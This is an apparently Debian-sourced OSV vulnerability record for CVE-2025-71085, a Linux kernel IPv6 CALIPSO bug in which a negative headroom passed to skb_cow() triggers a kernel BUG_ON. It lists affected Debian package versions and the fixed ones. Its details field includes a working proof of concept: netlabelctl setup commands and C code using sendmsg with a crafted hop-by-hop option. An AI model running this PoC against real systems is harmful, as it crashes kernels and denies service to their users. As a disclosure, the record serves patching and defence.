{"id":"DEBIAN-CVE-2025-71085","details":"In the Linux kernel, the following vulnerability has been resolved:  ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()  There exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom \u003e INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).  The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.  Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing \"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.  PoC: \tUsing `netlabelctl` tool:          netlabelctl map del default         netlabelctl calipso add pass doi:7         netlabelctl map add default address:0::1/128 protocol:calipso,7          Then run the following PoC:          int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);          // setup msghdr         int cmsg_size = 2;         int cmsg_len = 0x60;         struct msghdr msg;         struct sockaddr_in6 dest_addr;         struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,                         sizeof(struct cmsghdr) + cmsg_len);         msg.msg_name = &dest_addr;         msg.msg_namelen = sizeof(dest_addr);         msg.msg_iov = NULL;         msg.msg_iovlen = 0;         msg.msg_control = cmsg;         msg.msg_controllen = cmsg_len;         msg.msg_flags = 0;          // setup sockaddr         dest_addr.sin6_family = AF_INET6;         dest_addr.sin6_port = htons(31337);         dest_addr.sin6_flowinfo = htonl(31337);         dest_addr.sin6_addr = in6addr_loopback;         dest_addr.sin6_scope_id = 31337;          // setup cmsghdr         cmsg-\u003ecmsg_len = cmsg_len;         cmsg-\u003ecmsg_level = IPPROTO_IPV6;         cmsg-\u003ecmsg_type = IPV6_HOPOPTS;         char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);         hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80          sendmsg(fd, &msg, 0);","modified":"2026-09-01T20:05:58.176556345Z","published":"2026-01-13T16:16:08.117Z","upstream":["CVE-2025-71085"],"references":[{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2025-71085"}],"affected":[{"package":{"name":"linux","ecosystem":"Debian:12","purl":"pkg:deb/debian/linux?arch=source&distro=bookworm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.162-1"}]}],"versions":["6.1.106-1","6.1.106-2","6.1.106-3","6.1.112-1","6.1.115-1","6.1.119-1","6.1.123-1","6.1.124-1","6.1.128-1","6.1.129-1","6.1.133-1","6.1.135-1","6.1.137-1","6.1.139-1","6.1.140-1","6.1.147-1","6.1.148-1","6.1.153-1","6.1.158-1","6.1.159-1","6.1.27-1","6.1.37-1","6.1.38-1","6.1.38-2","6.1.38-2~bpo11+1","6.1.38-3","6.1.38-4","6.1.38-4~bpo11+1","6.1.52-1","6.1.55-1","6.1.55-1~bpo11+1","6.1.64-1","6.1.66-1","6.1.67-1","6.1.69-1","6.1.69-1~bpo11+1","6.1.76-1","6.1.76-1~bpo11+1","6.1.82-1","6.1.85-1","6.1.90-1","6.1.90-1~bpo11+1","6.1.94-1","6.1.94-1~bpo11+1","6.1.98-1","6.1.99-1"],"ecosystem_specific":{"urgency":"not yet assigned"},"database_specific":{"source":"https://storage.googleapis.com/debian-osv/debian-cve-osv/DEBIAN-CVE-2025-71085.json"}},{"package":{"name":"linux","ecosystem":"Debian:13","purl":"pkg:deb/debian/linux?arch=source&distro=trixie"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.12.69-1"}]}],"versions":["6.12.38-1","6.12.41-1","6.12.43-1","6.12.43-1~bpo12+1","6.12.48-1","6.12.57-1","6.12.57-1~bpo12+1","6.12.63-1","6.12.63-1~bpo12+1","6.12.69-1~bpo12+1"],"ecosystem_specific":{"urgency":"not yet assigned"},"database_specific":{"source":"https://storage.googleapis.com/debian-osv/debian-cve-osv/DEBIAN-CVE-2025-71085.json"}},{"package":{"name":"linux","ecosystem":"Debian:14","purl":"pkg:deb/debian/linux?arch=source&distro=forky"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.18.5-1"}]}],"versions":["6.12.100-1","6.12.101-1","6.12.105-1","6.12.107-1","6.12.38-1","6.12.41-1","6.12.43-1","6.12.43-1~bpo12+1","6.12.48-1","6.12.57-1","6.12.57-1~bpo12+1","6.12.63-1","6.12.63-1~bpo12+1","6.12.69-1","6.12.69-1~bpo12+1","6.12.73-1","6.12.73-1~bpo12+1","6.12.74-1","6.12.74-2","6.12.74-2~bpo12+1","6.12.85-1","6.12.85-1~bpo12+1","6.12.86-1","6.12.86-1~bpo12+1","6.12.88-1","6.12.88-1~bpo12+1","6.12.90-1","6.12.90-1~bpo12+1","6.12.90-2","6.12.90-2~bpo12+1","6.12.94-1","6.12.94-1~bpo12+1","6.12.95-1","6.12.95-1~bpo12+1","6.12.96-1","6.13.10-1~exp1","6.13.11-1~exp1","6.13.2-1~exp1","6.13.3-1~exp1","6.13.4-1~exp1","6.13.5-1~exp1","6.13.6-1~exp1","6.13.7-1~exp1","6.13.8-1~exp1","6.13.9-1~exp1","6.13~rc6-1~exp1","6.13~rc7-1~exp1","6.14.3-1~exp1","6.14.5-1~exp1","6.14.6-1~exp1","6.15-1~exp1","6.15.1-1~exp1","6.15.2-1~exp1","6.15.3-1~exp1","6.15.4-1~exp1","6.15.5-1~exp1","6.15.6-1~exp1","6.15~rc7-1~exp1","6.16-1~exp1","6.16.1-1~exp1","6.16.10-1","6.16.11-1","6.16.12-1","6.16.12-1~bpo13+1","6.16.12-2","6.16.3-1","6.16.3-1~bpo13+1","6.16.5-1","6.16.6-1","6.16.7-1","6.16.8-1","6.16.9-1","6.16~rc7-1~exp1","6.17.10-1","6.17.11-1","6.17.12-1","6.17.13-1","6.17.13-1~bpo13+1","6.17.2-1~exp1","6.17.5-1~exp1","6.17.6-1","6.17.7-1","6.17.7-2","6.17.8-1","6.17.8-1~bpo13+1","6.17.9-1","6.18.1-1~exp1","6.18.2-1~exp1","6.18.3-1","6.18.5-1~bpo13+1","6.18~rc4-1~exp1","6.18~rc4-1~exp2","6.18~rc5-1~exp1","6.18~rc6-1~exp1","6.18~rc7-1~exp1"],"ecosystem_specific":{"urgency":"not yet assigned"},"database_specific":{"source":"https://storage.googleapis.com/debian-osv/debian-cve-osv/DEBIAN-CVE-2025-71085.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}]}